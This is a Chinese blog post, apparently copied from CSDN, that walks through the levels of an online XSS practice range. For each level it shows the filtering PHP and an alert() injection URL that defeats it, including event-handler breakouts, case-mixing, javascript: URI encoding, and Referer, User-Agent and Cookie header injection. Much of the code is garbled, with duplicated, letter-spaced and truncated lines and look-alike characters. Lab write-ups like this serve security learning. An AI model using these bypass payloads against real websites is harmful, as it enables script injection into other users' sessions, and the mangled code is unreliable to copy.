码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • xss靶场在线靶场


    1、普通
    window.alert = function()
    http://test.ctf8.com/level1.php?name=

    2、value

    http://test.ctf8.com/level2.php?keyword=">

    3、被转义
    htmlspecialchars把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体
    & (和号)成为 &
    “ (双引号)成为 ”
    ’ (单引号)成为 ’
    > (大于)成为 >
    < (小于)成为 <
    要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数

    onfocus #当 input 输入框获取焦点时执行一段 Javascript代码
    http://test.ctf8.com/level3.php?keyword=’ οnfοcus=alert(‘ok’)//
    http://test.ctf8.com/level3.php?keyword=1’ οnclick=alert(‘ok’)//
    http://test.ctf8.com/level3.php?keyword=1’ οnclick=‘alert(1)’

    4、被转义后加了括号
    $str2=str_replace(“>”,“”,$str);
    $str3=str_replace(“<”,“”,$str2);


    http://test.ctf8.com/level4.php?keyword=1" οnclick=alert(1)//

    5、过滤
    s t r = s t r t o l o w e r ( str = strtolower( str=strtolower(_GET[“keyword”]); #把所有字符转换为小写
    s t r 2 = s t r r e p l a c e ( " < s c r i p t " , " < s c r i p t " , str2=str_replace("str2=strr​eplace("<script","<scri​pt",str);
    s t r 3 = s t r r e p l a c e ( " o n " , " o n " , str3=str_replace("on","o_n", str3=strr​eplace("on","on​",str2);

    http://test.ctf8.com/level5.php?keyword=text">

    7、过滤
    ini_set(“display_errors”, 0);
    $str =strtolower( $_GET[“keyword”]);
    $str2=str_replace(“script”,“”,$str);
    $str3=str_replace(“on”,“”,$str2);
    $str4=str_replace(“src”,“”,$str3);
    $str5=str_replace(“data”,“”,$str4);
    $str6=str_replace(“href”,“”,$str5);


    http://test.ctf8.com/level7.php?keyword=keyword=1" oonNcliCk=alert(1)//

    8、
    ini_set(“display_errors”, 0);
    $str = strtolower($_GET[“keyword”]);
    $str2=str_replace(“script”,“scr_ipt”,$str);
    $str3=str_replace(“on”,“o_n”,$str2);
    $str4=str_replace(“src”,“sr_c”,$str3);
    $str5=str_replace(“data”,“da_ta”,$str4);
    $str6=str_replace(“href”,“hr_ef”,$str5);
    $str7=str_replace(‘"’,‘"’,$str6);

    echo ‘


    友情链接
    ’;
    javascript:alert(111)
    r为r转码后 javascript:alert(1),页面是识别ASCLL码的,遇到value="a"过滤可以直接尝试转码http://www.jsons.cn/ascii/

    9、
    ini_set(“display_errors”, 0);
    $str = strtolower($_GET[“keyword”]);
    $str2=str_replace(“script”,“scr_ipt”,$str);
    $str3=str_replace(“on”,“o_n”,$str2);
    $str4=str_replace(“src”,“sr_c”,$str3);
    $str5=str_replace(“data”,“da_ta”,$str4);
    $str6=str_replace(“href”,“hr_ef”,$str5);
    $str7=str_replace(‘"’,‘"’,$str6);

    s t r ) . ′ " > i f ( f a l s e = = = s t r p o s ( str).'"> if(false===strpos( str).′">if(false===strpos(str7,‘http://’))
    javascript:http://www.0aa.me%0dalert(‘ok’)
    javascript:http://%0dalert(123)

    10、F12
    ini_set(“display_errors”, 0);
    $str = $_GET[“keyword”];
    $str11 = $_GET[“t_sort”];
    $str22=str_replace(“>”,“”,$str11);
    $str33=str_replace(“<”,“”,$str22);


    11、F12、捕包
    ini_set(“display_errors”, 0);
    $str = $_GET[“keyword”];
    $str00 = $_GET[“t_sort”];
    $str11=$_SERVER[‘HTTP_REFERER’];
    $str22=str_replace(“>”,“”,$str11);
    $str33=str_replace(“<”,“”,$str22);


    %22%20oNcliCk=alert(1)//” type=“text” οnclick=alert(1) >
    Referer: " type=“text” οnclick="alert(1)

    12、F12、捕包
    ini_set(“display_errors”, 0);
    $str = $_GET[“keyword”];
    $str00 = $_GET[“t_sort”];
    $str11=$_SERVER[‘HTTP_USER_AGENT’];
    $str22=str_replace(“>”,“”,$str11);
    $str33=str_replace(“<”,“”,$str22);


    13、F12、捕包
    ini_set(“display_errors”, 0);
    $str = $_GET[“keyword”];
    $str00 = $_GET[“t_sort”];
    $str11=$_COOKIE[“user”];
    $str22=str_replace(“>”,“”,$str11);
    $str33=str_replace(“<”,“”,$str22);


  • 相关阅读:
    &2_PyTorch神经网络基础
    一款EF Core下高性能、轻量级针对分表分库读写分离的解决方案
    渐进式 shiro - shiro + jwt+salt (三)
    20221122非累加的m3u8的ts切片列表的补全步骤
    SpringBatch(14):JobOperator启动Job
    管理经济学-笔记(非常详细)
    洛谷 P3370 【模板】字符串哈希题解
    Ubuntu18.04安装OpenPCDet:spconv一键安装
    css常用选择器
    17 柯西中值定理、不定式极限
  • 原文地址:https://blog.csdn.net/qq_44775960/article/details/126774983
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号